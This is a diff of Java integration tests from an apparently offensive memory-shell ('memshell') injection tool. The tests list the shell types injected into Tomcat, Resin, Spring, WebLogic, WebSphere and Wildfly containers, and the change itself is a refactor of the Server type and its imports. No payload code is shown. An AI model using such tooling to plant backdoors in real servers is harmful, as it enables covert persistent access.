ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.resin;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -51,7 +51,7 @@ public class Resin3116ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Resin;
|
||||
String server = Server.Resin;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.AGENT_FILTER_CHAIN
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.resin;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Resin318ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Resin;
|
||||
String server = Server.Resin;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.AGENT_FILTER_CHAIN
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.resin;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Resin4058ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Resin;
|
||||
String server = Server.Resin;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.AGENT_FILTER_CHAIN
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.resin;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Resin4067ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Resin;
|
||||
String server = Server.Resin;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.AGENT_FILTER_CHAIN
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class SpringBoot2WebFluxContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebFlux;
|
||||
String server = Server.SpringWebFlux;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBFLUX_WEB_FILTER, ShellType.SPRING_WEBFLUX_HANDLER_METHOD, ShellType.NETTY_HANDLER);
|
||||
List<Packers> testPackers = List.of(Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -49,7 +49,7 @@ public class SpringBoot3WebFluxContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebFlux;
|
||||
String server = Server.SpringWebFlux;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBFLUX_WEB_FILTER, ShellType.SPRING_WEBFLUX_HANDLER_METHOD, ShellType.NETTY_HANDLER);
|
||||
List<Packers> testPackers = List.of(Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class SpringBoot1ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
String server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||
|
||||
+3
-3
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -52,7 +52,7 @@ public class SpringBoot2ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
String server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||
@@ -84,7 +84,7 @@ public class SpringBoot2ContainerTest {
|
||||
}
|
||||
|
||||
static Stream<Arguments> tomcatCasesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
// ShellType.LISTENER,
|
||||
|
||||
+3
-3
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -52,7 +52,7 @@ public class SpringBoot2JettyContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
String server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||
@@ -84,7 +84,7 @@ public class SpringBoot2JettyContainerTest {
|
||||
}
|
||||
|
||||
static Stream<Arguments> jettyCasesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
|
||||
+3
-3
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -52,7 +52,7 @@ public class SpringBoot2UndertowContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
String server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||
@@ -84,7 +84,7 @@ public class SpringBoot2UndertowContainerTest {
|
||||
}
|
||||
|
||||
static Stream<Arguments> jettyCasesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
String server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
|
||||
+3
-3
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class SpringBoot2WarContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
String server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
|
||||
@@ -73,7 +73,7 @@ public class SpringBoot2WarContainerTest {
|
||||
}
|
||||
|
||||
static Stream<Arguments> tomcatCasesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
// ShellType.LISTENER,
|
||||
|
||||
+3
-3
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class SpringBoot3ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
String server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||
@@ -82,7 +82,7 @@ public class SpringBoot3ContainerTest {
|
||||
}
|
||||
|
||||
static Stream<Arguments> tomcatCasesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
// ShellType.LISTENER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Tomcat10ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -51,7 +51,7 @@ public class Tomcat11ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -52,7 +52,7 @@ public class Tomcat11JRE21ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -52,7 +52,7 @@ public class Tomcat5ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Tomcat6ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Tomcat7ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
|
||||
+2
-2
@@ -1,11 +1,11 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -52,7 +52,7 @@ public class Tomcat8ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.SERVLET,
|
||||
|
||||
+1
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -20,7 +20,6 @@ import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
|
||||
+1
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -20,7 +20,6 @@ import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Tomcat9ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
String server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.weblogic;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -48,7 +48,7 @@ public class WebLogic1036ContainerTest {
|
||||
.withExposedPorts(7001);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebLogic;
|
||||
String server = Server.WebLogic;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.weblogic;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class WebLogic12214ContainerTest {
|
||||
.withExposedPorts(7001);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebLogic;
|
||||
String server = Server.WebLogic;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.weblogic;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class WebLogic14110ContainerTest {
|
||||
.withExposedPorts(7001);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebLogic;
|
||||
String server = Server.WebLogic;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -53,7 +53,7 @@ public class WebSphere855ContainerTest {
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebSphere;
|
||||
String server = Server.WebSphere;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -53,7 +53,7 @@ public class WebSphere905ContainerTest {
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebSphere;
|
||||
String server = Server.WebSphere;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.websphere7;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -53,7 +53,7 @@ public class WebSphere700ContainerTest {
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebSphere;
|
||||
String server = Server.WebSphere;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER
|
||||
// ShellType.WAS_AGENT_FILTER_MANAGER // fuck the env, java.lang.instrument.UnmodifiableClassException
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.wildfly;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Wildfly18ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
String server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.wildfly;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Wildfly23ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
String server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.wildfly;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Wildfly30ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
String server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.wildfly;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
